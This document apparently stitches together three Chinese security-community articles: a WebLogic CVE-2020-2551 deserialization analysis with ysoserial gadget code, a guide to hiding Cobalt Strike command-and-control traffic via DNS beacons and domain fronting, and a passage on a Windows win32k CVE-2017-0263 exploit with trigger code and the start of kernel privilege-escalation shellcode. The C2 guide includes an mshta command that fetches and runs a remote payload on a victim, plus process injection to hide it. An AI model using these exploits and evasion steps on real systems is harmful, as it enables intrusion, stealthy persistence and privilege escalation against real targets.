Map.Entry elEntry = (java.util.Map.Entry)outerMap.entrySet().iterator().next() ;
elEntry.setValue("hello") ;
}
}
**ysoserial** 中也是一样的利用方式:
public class CommonsCollections3 extends PayloadRunner implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
Object templatesImpl = Gadgets.createTemplatesImpl(command);
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templatesImpl } )};
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections3.class, args);
}
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();
}
}
这里注意jdk版本为1.7
* * *
# 0x01 CVE-2020-2551
**漏洞断点调试环境配置**
远程调试端口设置:
qing@ubuntu:~/vulhub/weblogic/CVE-2017-10271$ cat docker-compose.yml
version: '2'
services:
weblogic:
image: vulhub/weblogic
ports:
- "7001:7001"
- "8453:8453"
修改配置文件加入远程调试:
在idea中添加目录中所需要的jar包:
for /R %%d in (*.jar) do (echo moving %%d
move /y %%d ./test
)
idea远程配置:
### 审计调试
有的师傅已经写了2551的文章，正向从传反序列化对象开始分析，我这里直接从漏洞触发点的函数倒推回去。
**weblogic.corba.utils. ValueHandlerImpl** 的中调用了 **readObject** 进行反序列化
此处是在 **readValueData** 函数中， **var2** 为 **ObjectStreamClass** 的形参
private static void readValueData(IIOPInputStream var0, Object var1, ObjectStreamClass var2) throws IOException, ClassNotFoundException {
if (var2.getSuperclass() != null) {
....
ObjectInputStream var6 = var0.getObjectInputStream(var1, var2, var3, var4);
var2.readObject(var1, var6);
var6.close();
if (var5) {
var0.end_value();
}
而 **readValueData** 函数在同文件的readValue函数中被调用，var2为传入readValueData函数的Object形参
在 **weblogic.iiop.IIOPInputStream.class** 的 **read_value**
函数也就是1728行调用了readValue函数，上面的readValue函数的var2为这里read_value函数的 **var13**
public Serializable read_value(Class var1) {
Class var2 = var1;
boolean var3 = false;
...
...
try {
ObjectStreamClass var14 = ObjectStreamClass.lookup(var2);
var13 = (Serializable)ValueHandlerImpl.allocateValue(this, var14);
this.indirections.putReserved(var5, var18, var13);
Serializable var15 = (Serializable)ValueHandlerImpl.readValue(this, var14, var13);
if (var15 != var13) {
var13 = var15;
this.indirections.putReserved(var5, var18, var15);
}
} catch (ClassNotFoundException var16) {
.....
而 **weblogic.iiop.IIOPInputStream** 中的read_value在rmi-iiop流程中对接收的序列化对象进行反序列化的时候被调用，发现读取
输入流的方法被封装在 **iiopoutputstream** 中的 **read_any** 函数中
public final Any read_any() {
return this.read_any(this.read_TypeCode());
}
public final Any read_any(TypeCode var1) {
Debug.assertion(var1 != null);
AnyImpl var2 = new AnyImpl();
var2.type(var1);
var2.read_value(this, var2.type());
return var2;
}
这里在1416行调用的read_value函数，传入的反序列化内容为var2.type函数的返回值，var2为实例化AnyImpl实例调用其read_value读取序列化数据。1416行是处于有参的read_any,而有参的read_any在1408的无参read_any中调用，这段我们只需要跟踪注意var2.type的返回值在调用链的最初我们是否可控以及this.read_TypeCode()非空。
发现read_any无参函数的调用是在_invoke函数中，而_invkoe函数被调用于weblogic.corba.idl.CorbaServerRef.class中的invoke函数
public void invoke(RuntimeMethodDescriptor var1, InboundRequest var2, OutboundResponse var3) throws Exception {
try {
weblogic.iiop.InboundRequest var4 = (weblogic.iiop.InboundRequest)var2;
if (!var4.isCollocated() && var4.getEndPoint().isDead()) {
throw new ConnectException("Connection is already shutdown for " + var2);
} else {
Integer var5 = (Integer)objectMethods.get(var4.getMethod());
ResponseHandler var6;
if (var3 == null) {
var6 = NULL_RESPONSE;
} else {
var6 = ((weblogic.iiop.OutboundResponse)var3).createResponseHandler(var4);
}
if (var5 != null) {
this.invokeObjectMethod(var5, var4.getInputStream(), var6);
} else {
this.delegate._invoke(var4.getMethod(), var4.getInputStream(), var6);
}
if (var3 != null) {
var3.transferThreadLocalContext(var2);
}
}
} catch (ClassCastException var7) {
throw new NoSuchObjectException("CORBA ties are only supported with IIOP");
}
}
**weblogic.corba.idl.CorbaServerRef.class** 中的 **invoke** 函数在
**weblogic.rmi.internal.BasicServerRef** 的 **runAs** 被调用
最后可以跟到weblogic解析请求的入口
调用链:
lookup:417, InitialContext (javax.naming)
doInContext:132, JndiTemplate$1 (com.bea.core.repackaged.springframework.jndi)
execute:88, JndiTemplate (com.bea.core.repackaged.springframework.jndi)
lookup:130, JndiTemplate (com.bea.core.repackaged.springframework.jndi)
lookup:155, JndiTemplate (com.bea.core.repackaged.springframework.jndi)
lookupUserTransaction:565, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
initUserTransactionAndTransactionManager:444, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
readObject:1198, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
invoke:-1, GeneratedMethodAccessor30 (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
readObject:315, ObjectStreamClass (weblogic.utils.io)
readValueData:281, ValueHandlerImpl (weblogic.corba.utils)
readValue:93, ValueHandlerImpl (weblogic.corba.utils)
read_value:2128, IIOPInputStream (weblogic.iiop)
read_value:1936, IIOPInputStream (weblogic.iiop)
read_value_internal:220, AnyImpl (weblogic.corba.idl)
read_value:115, AnyImpl (weblogic.corba.idl)
read_any:1648, IIOPInputStream (weblogic.iiop)
read_any:1641, IIOPInputStream (weblogic.iiop)
_invoke:58, _NamingContextAnyImplBase (weblogic.corba.cos.naming)
invoke:249, CorbaServerRef (weblogic.corba.idl)
invoke:230, ClusterableServerRef (weblogic.rmi.cluster)
run:522, BasicServerRef$1 (weblogic.rmi.internal)
doAs:363, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:146, SecurityManager (weblogic.security.service)
handleRequest:518, BasicServerRef (weblogic.rmi.internal)
run:118, WLSExecuteRequest (weblogic.rmi.internal.wls)
execute:263, ExecuteThread (weblogic.work)
run:221, ExecuteThread (weblogic.work)
附上y4师傅的poc：<https://github.com/Y4er/CVE-2020-2551>
编译好的exp字节码文件放 **marshalsec** 的RMI服务下，执行成功。
测试实际站点的时候发现是失败，还需要解决的一个问题是CVE-2020-2551的 **"网络"** 问题
## CVE-2020-2551的网络问题
实际情况大多数weblogic是内网反带出来的，所以在返回 **NameService** 指定 **bind** 地址的时都是内网地址，导致访问失败。
解决方法为自定义 **GIOP协议** 和 **重写IIOP协议**
个人在实际测试的时候选择后者
### 重写IIOP协议解决:
定位返回地址位置hackworld老哥写的已经非常清楚了:
<https://xz.aliyun.com/t/7498>
最后需要改的位置
CVE-2020-2551\src\lib\wlfullclient.jar\weblogic\iiop\IOPProfile.class
这里对于class文件在改的时候将idea对于class文件读出来的代码复制一份，改好保存成java文件后重新编译，复制到包里覆盖即可。
编译:
替换:
实际测试:
* * *
### 资料:
<https://github.com/Y4er/CVE-2020-2551>
<https://xz.aliyun.com/t/7498> 手把手教你解决Weblogic CVE-2020-2551 POC网络问题
<https://xz.aliyun.com/t/7374> 漫谈 WebLogic CVE-2020-2551
<https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections3.java>
<https://packetstormsecurity.com/files/download/141104/cve-2017-3241.pdf>
CVE-2017-3241 | 社区文章 |
# 内网流量规避
##### 译文声明
本文是翻译文章，文章原作者 酒仙桥6号部队，文章来源：酒仙桥6号部队
原文地址：[https://weixin.sogou.com/link?url=dn9a_-gY295K0Rci_xozVXfdMkSQTLW6cwJThYulHEtVjXrGTiVgS83vg-lcOzztQuGESFQAqMZciGGbqFQsh1qXa8Fplpd9WfFS0eT6N-lJ4l3JOm9vx2D7kDwA75GC2ZF2PbmREDbUpCA5ikH_Kl_vlLvN2FnPTv31Xx0Sj3dlUN8hzNUXAEKYHbri2nkhIfwFCizt3UMlAqZ_dV3k8YjcilSXkOw3oc_PEvqLLbIQATp6Wt80M9CKtWkAz2-xn6Dp7SeSGzZAe0f8bRARvQ..&type=2&query=%E5%86%85%E7%BD%91%E6%B5%81%E9%87%8F%E8%A7%84%E9%81%BF&token=empty&k=93&h=9](https://weixin.sogou.com/link?url=dn9a_-gY295K0Rci_xozVXfdMkSQTLW6cwJThYulHEtVjXrGTiVgS83vg-lcOzztQuGESFQAqMZciGGbqFQsh1qXa8Fplpd9WfFS0eT6N-lJ4l3JOm9vx2D7kDwA75GC2ZF2PbmREDbUpCA5ikH_Kl_vlLvN2FnPTv31Xx0Sj3dlUN8hzNUXAEKYHbri2nkhIfwFCizt3UMlAqZ_dV3k8YjcilSXkOw3oc_PEvqLLbIQATp6Wt80M9CKtWkAz2-xn6Dp7SeSGzZAe0f8bRARvQ..&type=2&query=%E5%86%85%E7%BD%91%E6%B5%81%E9%87%8F%E8%A7%84%E9%81%BF&token=empty&k=93&h=9)
译文仅供参考，具体内容表达以及含义原文为准。
## IDS和IPS概述：
IDS（intrusion detection
system）入侵检测系统，旁路检测设备，工作在网络层，并行接在内网所需防护设备的链路上，通过抓取流量分析数据包，匹配规则库检测到恶意数据进行报警处理。
IPS（Intrusion-prevention system）入侵防御系统，可覆盖网络层和应用层，比IDS多了主动防御，阻断攻击的功能。
知道IPS的工作原理之后，最直接的方法就是将自己的流量伪装或者隐藏自己的流量。那么如何实现呢？下面我们来介绍两种方法：
## DNS beacon+CobaltStrike
将数据通过dns隧道进行传输，基于udp，利用53端口，隐蔽性强。大多数防火墙和入侵检测设备对DNS流量是放行的，能有一定效果的绕过入侵检测设备和防火墙的检测。由于dns传输的过程会经过很多dns节点服务器，所以传输速度会相对较慢。
**dns beacon数据链路**
1.被控端收到命令之后，向自己记录的dns服务器请求解析域名。
2.内网dns收到请求之后找不到该域名，将请求交给权威域名服务器查询。
3.权威域名服务器向其他服务器同步请求。
4.找到对应的ip为自己的cs服务器，解析请求，实现dns数据链路传输。
## 配置方法
**配置dns**
1.申请域名，添加A记录，将域名与公网ip进行绑定。
2.添加NS记录，将ns记录指向到A记录的主机名。
NS记录可设置2-3个，只需主机记录不一样就行，例：ns1 ns3
**注：添加记录10分钟后生效，用nslookup查询ns记录，结果为0.0.0.0就是同步成功**
**生成DNS-beacon监听器**
**1.** **新建dns-beacon**
Cobalt Strike——Listeners,点击add新建监听器。（生成dns监听器后，cs服务器就相当于一台dns服务器了）
**2.** **参数设置**
Payload：选择Beacon DNS
Name：自行设定
DNS Hosts：填写你的NS记录 (如果有多个NS记录可以都写上)
DNS Hosts（Stager）: 填写你的任意一条NS记录
**3.** **添加成功**
注：DNS HOST(Stager) 字段配置 DNS Beacon 的 TXT 记录 stager。这个 stager 仅被用在要求显式stager 的
Cobalt Strike 功能中。你的 Cobalt Strike 团队服务器系统也必须对此域名具有权威性。
**生成payload**
目标机为64位win7，所以勾选上生成64位payload。
****
放到被控机上运行。之后上线的效果，不会显示任何信息。
**需要使用以下两条命令才能有显示：**
mode dns 设置数据通道模式
checkin 使beacon强制回连一次
**通道模式有三种**
mode dns 使用dns A记录的数据通道（ipv4）
mode dns6 使用dns AAAA记录的数据通道（ipv6）
mode dns-txt 使用dns TXT记录的数据通道
输入完之后等待beacon的 **下一次心跳连接** ，dns就会接收带有命令的数据包发送给目标机win7去执行。
**抓包可看到dns发送极小的数据包**
**在cs端执行命令，查看数据包，可发现txt记录里为加密传输，并且解析的ns1级了为0.0.0.0，有效的隐藏了真实ip和传输的数据。**
**此时在被控端的设备上查看任务管理器还能看到运行的任务进程。**
**在cs端打开进程列表，选择进程，点击Inject，将payload注入到进程中，等待上线后，删除原来的payload，进行进程隐藏。**
**效果如下，可以看到已经注入成功，process为sqlserver.exe**
**总结：**
**优势：此方法可以隐藏自己的真实ip，走udp协议，所以不会开放额外的端口，迁移进程之后也无法看到payload所使用的原始程序，同时也对数据进行加密处理。**
**劣势：但由于还是会暴露自身的域名，且现在有一些安全设备已经具备了监测dns流量的功能，所以还是会被找到攻击者的痕迹。**
## Domain Fronting
Domain Fronting，中文译名 “域前置” 或
“域名前置”，用于隐藏服务器真实ip并伪装成高信誉域名与目标通讯，来规避IDS的流量检测，Domain Fronting 的核心技术是 CDN。
### CDN请求机制：
如果有多台设备使用同一个cdn服务器，那么服务器就可以通过host头去寻找指定的真实服务器。
同一个cdn服务器下不存在多个ip绑定一个域名，绑定同样的域名会有错误提示。
### 配置方法：
**配置CDN**
购买云服务器，开通CDN服务。
加速域名：随便填个高信誉的域名实现域名伪造，例如：oss.microsoft.com，abc.google.com之类的。
IP：填写cs服务器的ip地址。
过几分钟等状态变为正常运行即可。
复制CNAME，去站长工具上ping，响应的ip就是各大机房的cdn服务器ip。
输入curl （CDN任意机房）IP -H “Host: （伪造域名）” -v
此时能出来404就对了。（要等很久，一直是报502的错）
不明白的看上面的伪造请求的流程图！！！
**配置c2-profile**
⚠️注意：cs需要使用3.x版本，4.x版本不支持。
1.直接使用开源项目 Malleable-C2-Profiles 中的 amazon.profile，但需要把其中的 Host 头改成我们自己在 CDN
中绑定的域名。
点击[amoazon.profile](https://github.com/rsmudge/Malleable-C2-Profiles/blob/master/normal/amazon.profile)打开下载地址
2.将文件保存放在cs服务端的根目录，在启动脚本后面加上./amazon.profile进行加载。
**配置cs**
1.新建一个listener，选择httppayload，主机填cdn绑定的域名
2.点击确定后，下面的界面输入任意一个阿里云cdn的ip地址即可。
3.点击视图——web日志，可看到各种404的信息，那就对了。（挺耗流量的，用完记得把监听删掉）
4.因为域前置流量的特殊性，cs自带的payload都无法使用，不过还好有大佬已经写好了payload，直接加载进来即可。
点击[CACTUSTORCH](https://github.com/mdsecactivebreach/CACTUSTORCH)进入下载页面
使用方法：
a.将文件解压到cs客户端根目录
b.打开cs选择脚本管理器
c.点击load
d.选择CACTUSTORCH.can进行加载
5.点击攻击，会多出来一个payload选项
6.local host填公网ip，选择刚刚创建的listener，type我用的是hta。
7.确认之后生成payload链接。复制下来。
8.在目标机上运行mshta <http://xx.xx.xx.xx:80/a>
即可看到目标上线，external地址会不断的变化，都为cdn服务器的ip
9.开启wireshark抓虚拟机的包，没有cs服务器的真实ip
搜索cdn服务器地址，看到的host为oss.microsoft.com，页面状态码都为200即可。
## 4总结
优势：此方法能有效的隐藏自己真实的ip和域名等信息，对方能看到的只能是cdn的域名。且传输速度快。
劣势：长期对自身资源消耗极大。 | 社区文章 |
# 从 CVE-2017-0263 漏洞分析到菜单管理组件（下）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
**传送门：[从 CVE-2017-0263
漏洞分析到菜单管理组件（上）](https://www.anquanke.com/post/id/102377)**
CVE-2017-0263 是 Windows 操作系统 `win32k` 内核模块菜单管理组件中的一个
UAF（释放后重用）漏洞，据报道称该漏洞在之前与一个 EPS 漏洞被 APT28 组织组合攻击用来干涉法国大选。这篇文章将对用于这次攻击的样本的
CVE-2017-0263 漏洞部分进行一次简单的分析，以整理出该漏洞利用的运作原理和基本思路，并对 Windows
窗口管理器子系统的菜单管理组件进行简单的探究。分析的环境是 Windows 7 x86 SP1 基础环境的虚拟机。
## 0x3 触发
接下来通过构造验证代码使系统在调用 `xxxMNEndMenuState` 函数释放根弹出菜单对象之后并在重置当前线程信息对象的成员域
`pMenuState` 之前，使线程的执行流再次进入 `xxxMNEndMenuState` 函数调用，致使触发对目标成员域
`pGlobalPopupMenu` 指向对象的重复释放。
在用户进程中首先为验证代码创建单独的线程，利用代码的主体任务都在新线程的上下文中执行。在原有的主线程中监听全局变量 `bDoneExploit`
是否被赋值以等待下一步操作。
验证代码首先通过调用 `CreatePopupMenu` 等函数创建两个非模态的可弹出的菜单对象。由于模态的菜单将导致线程在内核中进入函数
`xxxMNLoop`
的循环等待状态，导致无法在同一线程中执行其他操作，对漏洞触发造成难度，因此我们选择非模态的菜单类型。这里的可弹出的菜单对象不是前面提到的
`tagPOPUPMENU` 类型的对象，而是带有 `MFISPOPUP` 标志位状态的 `tagMENU` 对象。结构体 `tagMENU`
是菜单对象的实体，而 `tagPOPUPMENU`
是用来描述菜单对象实体的弹出状态的对象，在菜单对象实际弹出时创建、菜单对象结束弹出状态时销毁，需要注意两者的区别。
接下来通过 `AppendMenuA` 为两个菜单添加菜单项，并使第二个成为第一个的子菜单。
LPCSTR szMenuItem = "item";
MENUINFO mi = { 0 };
mi.cbSize = sizeof(mi);
mi.fMask = MIM_STYLE;
mi.dwStyle = MNS_AUTODISMISS | MNS_MODELESS | MNS_DRAGDROP;
hpopupMenu[0] = CreatePopupMenu();
hpopupMenu[1] = CreatePopupMenu();
SetMenuInfo(hpopupMenu[0], &mi);
SetMenuInfo(hpopupMenu[1], &mi);
AppendMenuA(hpopupMenu[0], MF_BYPOSITION | MF_POPUP, (UINT_PTR)hpopupMenu[1], szMenuItem);
AppendMenuA(hpopupMenu[1], MF_BYPOSITION | MF_POPUP, 0, szMenuItem);
_创建并关联两个菜单对象的验证代码_
接下来创建一个普通的窗口对象 `hWindowMain` 以在后续菜单弹出时作为弹出菜单的拥有者窗口对象。如果编译时选择 GUI
界面程序，则获取默认的窗口对象句柄即可，这一步就不需要创建额外的窗口对象了。
WNDCLASSEXW wndClass = { 0 };
wndClass = { 0 };
wndClass.cbSize = sizeof(WNDCLASSEXW);
wndClass.lpfnWndProc = DefWindowProcW;
wndClass.cbWndExtra = 0;
wndClass.hInstance = GetModuleHandleA(NULL);
wndClass.lpszMenuName = NULL;
wndClass.lpszClassName = L"WNDCLASSMAIN";
RegisterClassExW(&wndClass);
hWindowMain = CreateWindowExW(WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST,
L"WNDCLASSMAIN",
NULL,
WS_VISIBLE,
0,
0,
1,
1,
NULL,
NULL,
GetModuleHandleA(NULL),
NULL);
_创建用来拥有弹出菜单的主窗口对象的验证代码_
通过函数 `SetWindowsHookExW` 创建类型为 `WH_CALLWNDPROC` 关联当前线程的挂钩程序，并通过
`SetWinEventHook` 创建范围包含 `EVENT_SYSTEM_MENUPOPUPSTART`
的关联当前进程和线程的事件通知消息处理程序。前面已经提到，设置 `WH_CALLWNDPROC`
类型的挂钩程序会在每次线程将消息发送给窗口对象之前调用。事件通知 `EVENT_SYSTEM_MENUPOPUPSTART`
表示目标弹出菜单已被显示在屏幕上。
SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc,
GetModuleHandleA(NULL),
GetCurrentThreadId());
SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART,
GetModuleHandleA(NULL),
xxWindowEventProc,
GetCurrentProcessId(),
GetCurrentThreadId(),
0);
_创建消息挂钩和时间通知程序的验证代码_
验证代码调用函数 `TrackPopupMenuEx` 使第一个菜单作为根菜单在创建的窗口中弹出。
TrackPopupMenuEx(hpopupMenu[0], 0, 0, 0, hWindowMain, NULL);
_调用函数 TrackPopupMenuEx 的验证代码_
接着通过调用 `GetMessage` 和 `DispatchMessage` 等函数在当前线程中实现消息循环。
MSG msg = { 0 };
while (GetMessageW(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessageW(&msg);
}
_实现消息循环的验证代码_
在函数 `TrackPopupMenuEx` 执行期间，系统调用函数 `xxxCreateWindowEx`
创建新的菜单类型的窗口对象。就像前面的章节提到的那样，创建窗口对象成功时，函数向该窗口对象发送 `WM_NCCREATE` 消息。在函数
`xxxSendMessageTimeout` 调用对象指定的消息处理程序之前，还会调用 `xxxCallHook` 函数用来调用先前由用户进程设定的
`WH_CALLWNDPROC` 类型的挂钩处理程序。这时执行流会回到我们先前在验证代码中定义的挂钩处理函数中。
在自定义挂钩处理函数 `xxWindowHookProc` 中，我们根据参数`lParam`指向`tagCWPSTRUCT`对象的成员域`message`
判断当前处理的消息是否为 `WM_NCCREATE` 消息，不是的情况则直接忽略。接下来根据窗口句柄获取窗口对象的类名称，当类名称为 `#32768`
时，表示这是创建的菜单窗口对象，因此将该句柄记录下来以备后续引用。
LRESULT CALLBACK
xxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam)
{
tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;
static HWND hwndMenuHit = 0;
if (cwp->message != WM_NCCREATE)
{
return CallNextHookEx(0, code, wParam, lParam);
}
WCHAR szTemp[0x20] = { 0 };
GetClassNameW(cwp->hwnd, szTemp, 0x14);
if (!wcscmp(szTemp, L"#32768"))
{
hwndMenuHit = cwp->hwnd;
}
return CallNextHookEx(0, code, wParam, lParam);
}
_在挂钩处理程序中记录 #32768 窗口的句柄_
在目标菜单窗口对象创建完成时，系统在内核中设置窗口对象的位置坐标并使其显示在屏幕上。在这期间，系统为该窗口对象创建关联的类型为 `SysShadow`
的阴影窗口对象。同样地，创建阴影窗口对象并发送 `WM_NCCREATE` 消息时，系统也会调用 `xxxCallHook` 函数来分发调用挂钩程序。
前面章节的“终止菜单”部分的分析已知，在函数 `xxxEndMenuLoop` 调用期间，系统对每个弹出菜单窗口对象都调用了两次
`xxxRemoveShadow` 函数。这将导致在到达漏洞触发位置之前阴影窗口被提前取消关联和销毁。
**因此我们要想办法为成员域`uButtonDownHitArea` 存储的目标菜单窗口对象创建并关联至少 3 个阴影窗口对象。**
回到验证代码的自定义挂钩处理函数中，在判断窗口类名称的位置增加判断是否为 `SysShadow` 的情况。如果命中这种情况，我们通过调用函数
`SetWindowPos` 对先前保存句柄指向的类名称为 `#32768` 的窗口对象依次设置 `SWP_HIDEWINDOW` 和
`SWP_SHOWWINDOW` 状态标志，使窗口先隐藏后显示，再次触发内核中添加阴影窗口关联的逻辑以创建新的阴影窗口对象。
在执行流进入自定义挂钩处理函数的 `SysShadow` 处理逻辑时，在内核中正处于创建阴影窗口的 `xxxCreateWindowEx`
执行期间，此时创建的阴影窗口对象和原菜单窗口对象还没有关联起来，它们的关联关系尚未被插入 `gpShadowFirst` 链表中。此时对目标菜单对象调用
`SetWindowPos` 以设置 `SWP_SHOWWINDOW`
状态标志，将导致系统对目标菜单窗口创建并关联多个阴影窗口对象，后创建的阴影窗口对象将被先插入 `gpShadowFirst`
链表中，从而位于链表中更靠后的位置。
多阴影窗口关联的插入链表和位置顺序逻辑
在自定义挂钩处理函数的 `SysShadow` 处理逻辑中，对进入次数进行计数，对前 2 次进入的情况调用函数 `SetWindowPos`
以触发创建新的阴影窗口关联的逻辑；到第 3 次进入的情况时，我们通过调用函数 `SetWindowLong`
将目标阴影窗口对象的消息处理函数篡改为自定义的阴影窗口消息处理函数。
if (!wcscmp(szTemp, L"SysShadow") && hwndMenuHit != NULL)
{
if (++iShadowCount == 3)
{
SetWindowLongW(cwp->hwnd, GWL_WNDPROC, (LONG)xxShadowWindowProc);
}
else
{
SetWindowPos(hwndMenuHit, NULL, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE | SWP_NOZORDER | SWP_HIDEWINDOW);
SetWindowPos(hwndMenuHit, NULL, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE | SWP_NOZORDER | SWP_SHOWWINDOW);
}
}
_对目标菜单窗口对象创建多阴影窗口关联的验证代码_
一切处理妥当后，需设置相关的全局标志以阻止执行流重复进入该自定义挂钩处理函数致使上面的逻辑代码被多次执行。
在内核函数 `xxxTrackPopupMenuEx` 中处理完成对根弹出菜单窗口对象的创建时，调用 `xxxWindowEvent`
函数以发送代表“菜单弹出开始”的 `EVENT_SYSTEM_MENUPOPUPSTART` 事件通知。这将进入我们先前设置的自定义事件通知处理函数
`xxWindowEventProc` 中。每当进入该事件通知处理程序时，代表当前新的弹出菜单已显示在屏幕中。
在验证代码的自定义事件通知处理函数 `xxWindowEventProc` 中进行计数，当第 1
次进入函数时，表示根弹出菜单已在屏幕中显示，因此通过调用函数 `SendMessage` 向参数句柄 `hwnd` 指向的菜单窗口对象发送
`WM_LBUTTONDOWN` 鼠标左键按下的消息，并在参数 `lParam` 传入按下的相对坐标。在 32 位系统中，参数 `lParam` 是一个
`DWORD` 类型的数值，其高低 16 位分别代表横坐标和纵坐标的相对位置，传入的数值需要确保相对坐标位于先前创建菜单时设定的子菜单项的位置。参数
`wParam` 用户设定按下的是左键还是右键，设置为 `1` 表示 `MK_LBUTTON` 左键。
在内核中消息处理函数 `xxxMenuWindowProc` 接收并处理该消息，这将导致最终调用到函数 `xxxMNOpenHierarchy`
以创建新弹出的子菜单的相关对象。类似地，在处理完成新的子菜单在屏幕中的显示时，函数 `xxxMNOpenHierarchy` 调用函数
`xxxWindowEvent` 发送 `EVENT_SYSTEM_MENUPOPUPSTART` 事件通知。这使得执行流再次进入自定义事件通知处理函数
`xxWindowEventProc` 中。
当第 2 次进入函数 `xxWindowEventProc` 时，表示弹出的子菜单已在屏幕中显示。此时验证代码调用函数 `SendMessage`
向目标菜单对象发送 `MN_ENDMENU` 菜单终止的消息，这将导致执行流最终进入内核函数 `xxxMNEndMenuState` 中。
VOID CALLBACK
xxWindowEventProc(
HWINEVENTHOOK hWinEventHook,
DWORD event,
HWND hwnd,
LONG idObject,
LONG idChild,
DWORD idEventThread,
DWORD dwmsEventTime
)
{
if (++iMenuCreated >= 2)
{
SendMessageW(hwnd, MN_ENDMENU, 0, 0);
}
else
{
SendMessageW(hwnd, WM_LBUTTONDOWN, 1, 0x00020002); // (2,2)
}
}
_事件通知处理函数发送消息的验证代码_
执行流进入函数 `xxxMNEndMenuState` 时，线程关联的菜单状态对象成员域 `uButtonDownHitArea`
存储最后处理鼠标按下消息时按下坐标位于的窗口对象（即在先前被创建并关联了 3 个阴影窗口对象的菜单窗口对象）的指针。位于 `gShadowFirst`
链表中与该菜单窗口对象关联的最开始的 2 个阴影窗口已在函数 `xxxEndMenuLoop`
执行期间被解除关联并销毁，此时菜单中仍存在与该菜单窗口关联的最后 1 个阴影窗口关联节点，该阴影窗口对象就是当时被篡改了消息处理函数的阴影窗口对象。
函数在 `MNFreePopup` 中释放当前根弹出菜单对象之后调用函数 `UnlockMFMWFPWindow` 以解锁成员域
`uButtonDownHitArea` 存储的目标菜单窗口对象时，不出意外的话，此时该菜单窗口对象的锁计数归零，因此窗口管理器将调用该对象的销毁函数
`xxxDestroyWindow` 以执行对该对象的销毁任务。这将解除关联并销毁第 3
个关联的阴影窗口对象，并使执行流进入先前篡改的自定义消息处理函数中。
在验证代码的阴影窗口自定义消息处理函数 `xxShadowWindowProc` 中，判断消息参数是否为 `WM_NCDESTROY`
类型。如果是的话，则在此直接调用 `NtUserMNDragLeave` 系统服务。
ULONG_PTR
xxSyscall(UINT num, ULONG_PTR param1, ULONG_PTR param2)
{
__asm { mov eax, num };
__asm { int 2eh };
}
CONST UINT num_NtUserMNDragLeave = 0x11EC;
LRESULT WINAPI
xxShadowWindowProc(
_In_ HWND hwnd,
_In_ UINT msg,
_In_ WPARAM wParam,
_In_ LPARAM lParam
)
{
if (msg == WM_NCDESTROY)
{
xxSyscall(num_NtUserMNDragLeave, 0, 0);
}
return DefWindowProcW(hwnd, msg, wParam, lParam);
}
_阴影窗口自定义消息处理函数的验证代码_
函数 `NtUserMNDragLeave` 原本用于结束菜单的拖拽状态。在该函数执行期间，系统在进行一系列的判断和调用之后，最终在函数
`xxxUnlockMenuState` 中调用 `xxxMNEndMenuState` 函数：
bZeroLock = menuState->dwLockCount-- == 1;
if ( bZeroLock && ExitMenuLoop(menuState, menuState->pGlobalPopupMenu) )
{
xxxMNEndMenuState(1);
result = 1;
}
_函数 xxxUnlockMenuState 调用 xxxMNEndMenuState 函数_
这导致重新触达漏洞所在的位置并致使菜单状态对象的成员域 `pGlobalPopupMenu` 指向的根弹出菜单对象被重复释放，导致系统 BSOD 的发生。
_根弹出菜单对象重复释放导致系统 BSOD 的发生_
## 0x4 利用
前面的章节对漏洞原理进行分析并构造了简单的漏洞触发验证代码。在本章节中将利用该漏洞的触发，通过循序渐进的方式构造利用代码，最终实现利用和提权的目的。
**初始化利用数据**
在利用代码中自定义结构体 `SHELLCODE` 以存储与利用相关的数据：
typedef struct _SHELLCODE {
DWORD reserved;
DWORD pid;
DWORD off_CLS_lpszMenuName;
DWORD off_THREADINFO_ppi;
DWORD off_EPROCESS_ActiveLink;
DWORD off_EPROCESS_Token;
PVOID tagCLS[0x100];
BYTE pfnWindProc[];
} SHELLCODE, *PSHELLCODE;
_自定义的 SHELLCODE 结构体定义_
在利用代码的早期阶段在用户进程中分配完整内存页的 `RWX` 内存块，并初始化相关成员域，将 ShellCode 函数代码拷贝到从成员域
`pfnWindProc` 起始的内存地址。
pvShellCode = (PSHELLCODE)VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pvShellCode == NULL)
{
return 0;
}
ZeroMemory(pvShellCode, 0x1000);
pvShellCode->pid = GetCurrentProcessId();
pvShellCode->off_CLS_lpszMenuName = 0x050;
pvShellCode->off_THREADINFO_ppi = 0x0b8;
pvShellCode->off_EPROCESS_ActiveLink = 0x0b8;
pvShellCode->off_EPROCESS_Token = 0x0f8;
CopyMemory(pvShellCode->pfnWindProc, xxPayloadWindProc, sizeof(xxPayloadWindProc));
_初始化分配的 SHELLCODE 结构体内存区域_
成员域 `pfnWindProc` 起始的内存区域将最终作为实际 ShellCode 函数代码在内核上下文执行。
**伪造根弹出菜单对象**
